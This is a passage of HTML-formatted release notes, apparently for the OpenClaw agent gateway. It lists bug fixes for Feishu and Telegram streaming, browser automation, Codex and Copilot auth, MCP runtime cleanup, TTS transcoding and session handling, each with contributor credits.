<li>Feishu: keep streaming cards to one live card per turn, flush throttled card edits after meaningful text boundaries, and skip exact block/partial repeats so tool-heavy replies do not duplicate card output. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/allan0509/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/allan0509">@allan0509</a>.</li>
<li>Feishu: finish the streaming-card duplicate closeout by stripping leaked reasoning tags, preserving cross-block partial snapshots, enabling topic-thread streaming cards, omitting the generic <code>main</code> card header, surfacing transient tool/compaction status, and cleaning streaming state after close failures. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sesame437/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sesame437">@sesame437</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Vicky-v7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Vicky-v7">@Vicky-v7</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/maoku-family/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/maoku-family">@maoku-family</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Pengxiao-Wang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Pengxiao-Wang">@Pengxiao-Wang</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Maple778/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Maple778">@Maple778</a>.</li>
<li>Telegram: recover incomplete partial-stream previews by falling back to a final send when an ambiguous final edit failure would otherwise retain a strict prefix of the answer. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4327777647" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71525" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71525/hovercard" href="https://github.com/openclaw/openclaw/issues/71525">#71525</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4327970972" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71554" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71554/hovercard" href="https://github.com/openclaw/openclaw/pull/71554">#71554</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sahilsatralkar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sahilsatralkar">@sahilsatralkar</a>.</li>
<li>Control UI/chat: collapse assistant token/model context details behind an explicit Context disclosure and show full dates in message footers, making historical transcript timing clear without noisy default metadata. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4326580782" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71337" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71337/hovercard" href="https://github.com/openclaw/openclaw/pull/71337">#71337</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>OpenAI/Codex OAuth: explain <code>unsupported_country_region_territory</code> token-exchange failures with a proxy/region hint instead of surfacing a generic OAuth error. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4109246729" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51175" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/51175/hovercard" href="https://github.com/openclaw/openclaw/issues/51175">#51175</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4327668763" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71501" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71501/hovercard" href="https://github.com/openclaw/openclaw/pull/71501">#71501</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wulala-xjj/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wulala-xjj">@wulala-xjj</a>.</li>
<li>Browser/Linux: fall back to headless mode for local managed profiles on hosts without a display server, while preserving explicit per-profile headed overrides and reporting the headless source. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4205308957" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60953" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/60953/hovercard" href="https://github.com/openclaw/openclaw/pull/60953">#60953</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rrpsantos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rrpsantos">@rrpsantos</a>.</li>
<li>Telegram: remove the startup persisted-offset <code>getUpdates</code> preflight so polling restarts do not self-conflict before the runner starts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4295160026" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69304" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69304/hovercard" href="https://github.com/openclaw/openclaw/issues/69304">#69304</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4303812517" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69779" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/69779/hovercard" href="https://github.com/openclaw/openclaw/pull/69779">#69779</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chinar-amrutkar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chinar-amrutkar">@chinar-amrutkar</a>.</li>
<li>Telegram: keep the polling stall watchdog active even when grammY reports the runner as not running while its task is still pending, so a rebuilt transport cannot leave <code>getUpdates</code> silent until a manual gateway restart. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4291652137" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69064" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69064/hovercard" href="https://github.com/openclaw/openclaw/issues/69064">#69064</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LDLoeb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LDLoeb">@LDLoeb</a>.</li>
<li>Subagents: fall back to direct completion delivery when the parent announce turn finishes without a visible payload, so child results still reach channel-backed requester sessions.</li>
<li>Subagents: tell parent agents to use <code>sessions_yield</code> while waiting for child completion events, preventing GPT-5 fast runs from ending silently after spawning workers.</li>
<li>Browser/Playwright: ignore benign already-handled route races during guarded navigation so browser-page tasks no longer fail when Playwright tears down a route mid-flight. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4289338446" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68708" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/68708/hovercard" href="https://github.com/openclaw/openclaw/pull/68708">#68708</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Steady-ai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Steady-ai">@Steady-ai</a>.</li>
<li>Browser/CLI: lazy-load browser command groups and plugin runtime services so <code>openclaw browser --help</code> can render without loading the full browser automation stack. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4248388921" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65400" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65400/hovercard" href="https://github.com/openclaw/openclaw/issues/65400">#65400</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4248899051" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65460" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/65460/hovercard" href="https://github.com/openclaw/openclaw/pull/65460">#65460</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4263144074" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66640" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/66640/hovercard" href="https://github.com/openclaw/openclaw/pull/66640">#66640</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pandego/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pandego">@pandego</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Tianworld/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Tianworld">@Tianworld</a>.</li>
<li>Browser/CLI: serve precomputed <code>openclaw browser --help</code> text from CLI startup metadata, avoiding the full plugin/config startup path for the common help invocation.</li>
<li>Browser/downloads: seed managed Chrome profiles with OpenClaw download prefs and capture unmanaged click-triggered downloads under the guarded downloads directory, while explicit download waiters still own their target file. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4242367248" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64558" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/64558/hovercard" href="https://github.com/openclaw/openclaw/pull/64558">#64558</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Pearcekieser/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Pearcekieser">@Pearcekieser</a>.</li>
<li>Browser/Chrome: stop passing redundant <code>--disable-setuid-sandbox</code> when <code>browser.noSandbox</code> is enabled; <code>--no-sandbox</code> remains the effective sandbox opt-out. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4279830525" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67939" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/67939/hovercard" href="https://github.com/openclaw/openclaw/pull/67939">#67939</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sebykrueger/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sebykrueger">@sebykrueger</a>.</li>
<li>Browser/client: stop telling agents to permanently avoid the browser after transient timeout or cancellation failures; keep the no-retry hint for persistent unavailable/rate-limit cases. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4076448290" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/46505" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/46505/hovercard" href="https://github.com/openclaw/openclaw/pull/46505">#46505</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jriff/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jriff">@jriff</a>.</li>
<li>Browser/aria snapshots: bind <code>format=aria</code> <code>axN</code> refs to live DOM nodes through backend DOM ids when Playwright is available, so follow-up browser actions can use those refs without timing out. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4217034518" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62434" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/62434/hovercard" href="https://github.com/openclaw/openclaw/pull/62434">#62434</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MrKipler/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MrKipler">@MrKipler</a>.</li>
<li>Telegram: prevent duplicate in-process long pollers for the same bot token and add clearer <code>getUpdates</code> conflict diagnostics for external duplicate pollers. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4158101646" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56230" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56230/hovercard" href="https://github.com/openclaw/openclaw/issues/56230">#56230</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Co-Messi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Co-Messi">@Co-Messi</a>.</li>
<li>Browser/Linux: detect Chromium-based installs under <code>/opt/google</code>, <code>/opt/brave.com</code>, <code>/usr/lib/chromium</code>, and <code>/usr/lib/chromium-browser</code> before asking users to set <code>browser.executablePath</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4085382761" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48563" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/48563/hovercard" href="https://github.com/openclaw/openclaw/pull/48563">#48563</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lupuletic/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lupuletic">@lupuletic</a>.</li>
<li>Sessions/browser: close tracked browser tabs when idle, daily, <code>/new</code>, or <code>/reset</code> session rollover archives the previous transcript, preventing tabs from leaking past the old session. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jakozloski/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jakozloski">@jakozloski</a>.</li>
<li>Sessions/forking: fall back to transcript-estimated parent token counts when cached totals are stale or missing, so oversized thread forks start fresh instead of cloning the full parent transcript. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jalehman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jalehman">@jalehman</a>.</li>
<li>OpenAI/Codex: send Codex Responses system prompts through top-level <code>instructions</code> while preserving the existing native Codex payload controls.</li>
<li>MCP/CLI: retire bundled MCP runtimes at the end of one-shot <code>openclaw agent</code> and <code>openclaw infer model run</code> gateway/local executions, so repeated scripted runs do not accumulate stdio MCP child processes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4327469009" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71457" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71457/hovercard" href="https://github.com/openclaw/openclaw/issues/71457">#71457</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/spartoviMD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/spartoviMD">@spartoviMD</a>.</li>
<li>OpenAI/Codex image generation: canonicalize legacy <code>openai-codex.baseUrl</code> values such as <code>https://chatgpt.com/backend-api</code> to the Codex Responses backend before calling <code>gpt-image-2</code>, matching the chat transport. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4327474967" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71460" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71460/hovercard" href="https://github.com/openclaw/openclaw/issues/71460">#71460</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/GodsBoy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/GodsBoy">@GodsBoy</a>.</li>
<li>Control UI: make <code>/usage</code> use the fresh context snapshot for context percentage, and include cache-write tokens in the Usage overview cache-hit denominator. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4080148005" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/47885" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/47885/hovercard" href="https://github.com/openclaw/openclaw/issues/47885">#47885</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/imwyvern/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/imwyvern">@imwyvern</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ante042/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ante042">@Ante042</a>.</li>
<li>GitHub Copilot: preserve encrypted Responses reasoning item IDs during replay so Copilot can validate encrypted reasoning payloads across requests. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4327393792" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71448" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71448/hovercard" href="https://github.com/openclaw/openclaw/pull/71448">#71448</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/a410979729-sys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/a410979729-sys">@a410979729-sys</a>.</li>
<li>GitHub Copilot: never rewrite connection-bound reasoning item IDs regardless of whether <code>encrypted_content</code> is present, fixing a 400 "Encrypted content item_id did not match" error with <code>gpt-5.3-codex</code> and future Codex models that fall through to the forward-compat catch-all with <code>reasoning: false</code>. Also recognize Codex-named models as reasoning-capable so they inherit the correct capability flags. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4289536760" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68735" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68735/hovercard" href="https://github.com/openclaw/openclaw/issues/68735">#68735</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/InvalidPandaa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/InvalidPandaa">@InvalidPandaa</a>.</li>
<li>Agents/replies: recover final-answer text when streamed assistant chunks contain only whitespace, preventing completed turns from surfacing as empty-payload errors. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4327458962" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71454" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71454/hovercard" href="https://github.com/openclaw/openclaw/issues/71454">#71454</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4327500044" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71467" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71467/hovercard" href="https://github.com/openclaw/openclaw/pull/71467">#71467</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sanjays2402/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sanjays2402">@Sanjays2402</a>.</li>
<li>Feishu/TTS: transcode voice-intent MP3 and other audio replies to Ogg/Opus before sending native Feishu audio bubbles, while keeping ordinary MP3 attachments as files. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4206957369" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61249" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/61249/hovercard" href="https://github.com/openclaw/openclaw/issues/61249">#61249</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4034320677" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/37868" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/37868/hovercard" href="https://github.com/openclaw/openclaw/issues/37868">#37868</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sg1416-zg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sg1416-zg">@sg1416-zg</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ycjlb2023-peteryi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ycjlb2023-peteryi">@ycjlb2023-peteryi</a>.</li>
<li>WhatsApp/TTS: transcode MP3/WebM audio, including Microsoft Edge TTS output, to Ogg/Opus before sending PTT voice notes.</li>
<li>QQBot/TTS: honor plain <code>audioAsVoice</code> replies by synthesizing TTS to native QQ voice messages, and mark inbound voice-only messages as audio media without exposing raw voice paths to generic media context.</li>
<li>Providers/SenseAudio: add bundled SenseAudio batch audio transcription through <code>tools.media.audio</code> with <code>SENSEAUDIO_API_KEY</code> auth. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4265936553" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66943" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/66943/hovercard" href="https://github.com/openclaw/openclaw/pull/66943">#66943</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Fl0rencess720/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Fl0rencess720">@Fl0rencess720</a>.</li>
<li>Providers/MiniMax: let TTS use MiniMax portal OAuth and Token Plan credentials before falling back to <code>MINIMAX_API_KEY</code>, and include current TTS HD model ids. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4141517456" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55017" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/55017/hovercard" href="https://github.com/openclaw/openclaw/issues/55017">#55017</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zx15210404690-hash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zx15210404690-hash">@zx15210404690-hash</a>.</li>
<li>Telegram/webhook: acknowledge validated webhook updates before running bot middleware, keeping slow agent turns from tripping Telegram delivery retries while preserving per-chat processing lanes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4326997239" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71392" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71392/hovercard" href="https://github.com/openclaw/openclaw/issues/71392">#71392</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joelforsberg46-source/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joelforsberg46-source">@joelforsberg46-source</a>.</li>
<li>MCP/config reload: hot-apply <code>mcp.*</code> changes by disposing cached session MCP runtimes, and dispose bundled MCP runtimes during gateway shutdown so removed <code>mcp.servers</code> entries reap child processes promptly. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4203179674" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60656" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/60656/hovercard" href="https://github.com/openclaw/openclaw/issues/60656">#60656</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xieyuanqing/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xieyuanqing">@xieyuanqing</a>.</li>
<li>Active Memory: keep silent recall sub-agent billing/auth failures out of shared auth-profile cooldown state, so a Claude CLI extra-usage rejection cannot disable normal Claude-backed turns. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4325943036" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71284" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71284/hovercard" href="https://github.com/openclaw/openclaw/issues/71284">#71284</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4327867252" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71539" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71539/hovercard" href="https://github.com/openclaw/openclaw/pull/71539">#71539</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishutdhar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishutdhar">@vishutdhar</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>.</li>
<li>Auth/Claude CLI: sync refreshed Claude CLI OAuth credentials into the managed auth profile so long-running Claude CLI runs stop falling back to stale OpenClaw snapshots. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4320240541" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70902" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70902/hovercard" href="https://github.com/openclaw/openclaw/pull/70902">#70902</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/starvex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/starvex">@starvex</a>.</li>
<li>Sessions: make <code>sessions_spawn(mode="session")</code> errors name usable alternatives when the current channel cannot bind subagent threads. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4271801625" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67400" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67400/hovercard" href="https://github.com/openclaw/openclaw/issues/67400">#67400</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4277983433" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67790" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/67790/hovercard" href="https://github.com/openclaw/openclaw/pull/67790">#67790</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stainlu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stainlu">@stainlu</a>.</li>
<li>Agents/Claude CLI: pass the OpenClaw system prompt through Claude's prompt-file flag so Windows runs avoid argv length failures without changing system prompt semantics. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4292748556" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69158" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69158/hovercard" href="https://github.com/openclaw/openclaw/issues/69158">#69158</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4293340040" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69211" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/69211/hovercard" href="https://github.com/openclaw/openclaw/pull/69211">#69211</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/skylee-01/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/skylee-01">@skylee-01</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cassioanorte/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cassioanorte">@cassioanorte</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Syu0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Syu0">@Syu0</a>, and @Stache73.</li>
<li>Agents/CLI sessions: bind <code>google-gemini-cli</code> session auth-epoch to the Google account identity in <code>~/.gemini/oauth_creds.json</code>, so Gemini-backed agents resume their conversation after gateway restart instead of minting a fresh session, and stale bindings are invalidated when the authenticated Google account changes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4321086277" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70973" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70973/hovercard" href="https://github.com/openclaw/openclaw/issues/70973">#70973</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4322606915" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71076" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71076/hovercard" href="https://github.com/openclaw/openclaw/pull/71076">#71076</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</li>
<li>Slack: stop treating user mentions in assistant-authored message edit blocks as sender attribution, preventing edited bot messages from spoofing a mentioned DM user. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328906494" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71700" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71700/hovercard" href="https://github.com/openclaw/openclaw/pull/71700">#71700</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Codex: consume unauthorized bound conversation inbound claims before they can fall through to other claim handlers or enqueue Codex turns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328907337" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71702" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71702/hovercard" href="https://github.com/openclaw/openclaw/pull/71702">#71702</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
